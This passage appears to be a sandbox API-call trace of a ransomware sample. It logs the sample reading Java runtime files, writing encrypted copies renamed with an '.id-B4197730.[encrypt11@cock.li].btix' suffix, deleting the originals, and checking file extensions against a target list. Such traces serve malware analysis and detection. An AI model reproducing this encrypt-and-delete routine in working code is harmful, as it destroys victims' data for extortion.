lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x13050, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x13050, lpOverlapped=0x0) returned 1 [0151.895] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.895] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xe2, lpOverlapped=0x0) returned 1 [0151.895] SetEndOfFile (hFile=0x370) returned 1 [0151.895] CloseHandle (hObject=0x370) returned 1 [0151.895] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.895] SetEndOfFile (hFile=0x368) returned 1 [0151.905] CloseHandle (hObject=0x368) returned 1 [0151.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.905] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 1 [0151.905] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0151.905] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0151.905] lstrlenW (lpString=".doc") returned 4 [0151.905] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.905] lstrlenW (lpString=".docx") returned 5 [0151.905] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0151.905] lstrlenW (lpString=".pdf") returned 4 [0151.906] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.906] lstrlenW (lpString=".xls") returned 4 [0151.906] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.906] lstrlenW (lpString=".xlsx") returned 5 [0151.906] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0151.906] lstrlenW (lpString=".ppt") returned 4 [0151.906] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.906] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0151.906] lstrlenW (lpString=".zip") returned 4 [0151.906] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.906] lstrlenW (lpString=".rar") returned 4 [0151.906] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.906] lstrlenW (lpString=".bz2") returned 4 [0151.906] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.906] lstrlenW (lpString=".7z") returned 3 [0151.906] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.906] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0151.906] lstrlenW (lpString=".dbf") returned 4 [0151.906] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.906] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0151.906] lstrlenW (lpString=".1cd") returned 4 [0151.907] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0151.907] lstrlenW (lpString=".jpg") returned 4 [0151.907] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0151.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0151.907] lstrlenW (lpString=".doc") returned 4 [0151.907] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.907] lstrlenW (lpString=".docx") returned 5 [0151.907] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0151.907] lstrlenW (lpString=".pdf") returned 4 [0151.907] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.907] lstrlenW (lpString=".xls") returned 4 [0151.907] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.907] lstrlenW (lpString=".xlsx") returned 5 [0151.907] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0151.907] lstrlenW (lpString=".ppt") returned 4 [0151.907] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0151.907] lstrlenW (lpString=".zip") returned 4 [0151.907] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.907] lstrlenW (lpString=".rar") returned 4 [0151.907] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.907] lstrlenW (lpString=".bz2") returned 4 [0151.907] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.908] lstrlenW (lpString=".7z") returned 3 [0151.908] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0151.908] lstrlenW (lpString=".dbf") returned 4 [0151.908] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0151.908] lstrlenW (lpString=".1cd") returned 4 [0151.908] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0151.908] lstrlenW (lpString=".jpg") returned 4 [0151.908] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.908] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0151.908] lstrlenW (lpString="accessibility.properties") returned 24 [0151.908] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.909] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=149) returned 1 [0151.909] CloseHandle (hObject=0x368) returned 1 [0151.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20 [0151.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.909] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.909] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.909] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.909] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.919] GetLastError () returned 0x0 [0151.919] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x95, lpOverlapped=0x0) returned 1 [0151.920] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xa0, lpOverlapped=0x0) returned 1 [0151.921] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.921] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x104, lpOverlapped=0x0) returned 1 [0151.921] SetEndOfFile (hFile=0x370) returned 1 [0151.921] CloseHandle (hObject=0x370) returned 1 [0151.922] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.922] SetEndOfFile (hFile=0x368) returned 1 [0151.922] CloseHandle (hObject=0x368) returned 1 [0151.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.923] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 1 [0151.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0151.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0151.923] lstrlenW (lpString=".doc") returned 4 [0151.923] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0151.923] lstrlenW (lpString=".docx") returned 5 [0151.923] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0151.924] lstrlenW (lpString=".pdf") returned 4 [0151.924] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0151.924] lstrlenW (lpString=".xls") returned 4 [0151.924] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0151.924] lstrlenW (lpString=".xlsx") returned 5 [0151.924] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0151.924] lstrlenW (lpString=".ppt") returned 4 [0151.924] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0151.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0151.924] lstrlenW (lpString=".zip") returned 4 [0151.924] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0151.924] lstrlenW (lpString=".rar") returned 4 [0151.924] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0151.924] lstrlenW (lpString=".bz2") returned 4 [0151.924] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0151.924] lstrlenW (lpString=".7z") returned 3 [0151.924] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0151.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0151.924] lstrlenW (lpString=".dbf") returned 4 [0151.924] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0151.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0151.924] lstrlenW (lpString=".1cd") returned 4 [0151.924] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0151.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0151.924] lstrlenW (lpString=".jpg") returned 4 [0151.924] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0151.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0151.925] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0151.925] lstrlenW (lpString=".doc") returned 4 [0151.925] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0151.925] lstrlenW (lpString=".docx") returned 5 [0151.936] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0151.937] lstrlenW (lpString=".pdf") returned 4 [0151.937] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0151.937] lstrlenW (lpString=".xls") returned 4 [0151.937] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0151.937] lstrlenW (lpString=".xlsx") returned 5 [0151.937] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0151.937] lstrlenW (lpString=".ppt") returned 4 [0151.937] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0151.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0151.937] lstrlenW (lpString=".zip") returned 4 [0151.937] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0151.937] lstrlenW (lpString=".rar") returned 4 [0151.937] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0151.937] lstrlenW (lpString=".bz2") returned 4 [0151.937] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0151.937] lstrlenW (lpString=".7z") returned 3 [0151.937] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0151.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0151.937] lstrlenW (lpString=".dbf") returned 4 [0151.937] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0151.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0151.937] lstrlenW (lpString=".1cd") returned 4 [0151.937] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0151.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0151.937] lstrlenW (lpString=".jpg") returned 4 [0151.938] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0151.938] lstrcmpiW (lpString1=".cfg", lpString2=".btix") returned 1 [0151.938] lstrlenW (lpString="jvm.cfg") returned 7 [0151.938] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.942] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=634) returned 1 [0151.942] CloseHandle (hObject=0x368) returned 1 [0151.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20 [0151.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.942] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.942] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.942] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.942] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.943] GetLastError () returned 0x0 [0151.943] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x27a, lpOverlapped=0x0) returned 1 [0152.244] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x280, lpOverlapped=0x0) returned 1 [0152.245] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.245] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xe2, lpOverlapped=0x0) returned 1 [0152.245] SetEndOfFile (hFile=0x370) returned 1 [0152.245] CloseHandle (hObject=0x370) returned 1 [0152.245] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.245] SetEndOfFile (hFile=0x368) returned 1 [0152.246] CloseHandle (hObject=0x368) returned 1 [0152.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.246] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 1 [0152.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0152.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0152.247] lstrlenW (lpString=".doc") returned 4 [0152.247] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0152.247] lstrlenW (lpString=".docx") returned 5 [0152.247] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0152.247] lstrlenW (lpString=".pdf") returned 4 [0152.247] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0152.247] lstrlenW (lpString=".xls") returned 4 [0152.247] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0152.247] lstrlenW (lpString=".xlsx") returned 5 [0152.247] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0152.247] lstrlenW (lpString=".ppt") returned 4 [0152.247] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0152.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0152.247] lstrlenW (lpString=".zip") returned 4 [0152.247] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0152.247] lstrlenW (lpString=".rar") returned 4 [0152.247] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0152.247] lstrlenW (lpString=".bz2") returned 4 [0152.247] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0152.247] lstrlenW (lpString=".7z") returned 3 [0152.247] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0152.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0152.247] lstrlenW (lpString=".dbf") returned 4 [0152.247] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0152.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0152.247] lstrlenW (lpString=".1cd") returned 4 [0152.248] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0152.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0152.248] lstrlenW (lpString=".jpg") returned 4 [0152.248] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0152.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0152.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0152.248] lstrlenW (lpString=".doc") returned 4 [0152.248] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0152.248] lstrlenW (lpString=".docx") returned 5 [0152.248] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0152.248] lstrlenW (lpString=".pdf") returned 4 [0152.248] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0152.248] lstrlenW (lpString=".xls") returned 4 [0152.248] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0152.248] lstrlenW (lpString=".xlsx") returned 5 [0152.248] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0152.248] lstrlenW (lpString=".ppt") returned 4 [0152.248] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0152.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0152.248] lstrlenW (lpString=".zip") returned 4 [0152.248] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0152.248] lstrlenW (lpString=".rar") returned 4 [0152.248] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0152.248] lstrlenW (lpString=".bz2") returned 4 [0152.248] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0152.248] lstrlenW (lpString=".7z") returned 3 [0152.248] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0152.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0152.248] lstrlenW (lpString=".dbf") returned 4 [0152.248] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0152.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0152.248] lstrlenW (lpString=".1cd") returned 4 [0152.248] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0152.249] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0152.249] lstrlenW (lpString=".jpg") returned 4 [0152.249] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0152.249] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0152.249] lstrlenW (lpString="messages_fr.properties") returned 22 [0152.249] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0152.249] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=3409) returned 1 [0152.249] CloseHandle (hObject=0x368) returned 1 [0152.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20 [0152.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.249] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0152.249] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.249] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.249] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0152.250] GetLastError () returned 0x0 [0152.250] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0xd51, lpOverlapped=0x0) returned 1 [0152.251] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xd60, lpOverlapped=0x0) returned 1 [0152.252] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.252] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x100, lpOverlapped=0x0) returned 1 [0152.252] SetEndOfFile (hFile=0x370) returned 1 [0152.252] CloseHandle (hObject=0x370) returned 1 [0152.252] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.252] SetEndOfFile (hFile=0x368) returned 1 [0152.253] CloseHandle (hObject=0x368) returned 1 [0152.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.253] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 1 [0152.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0152.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") 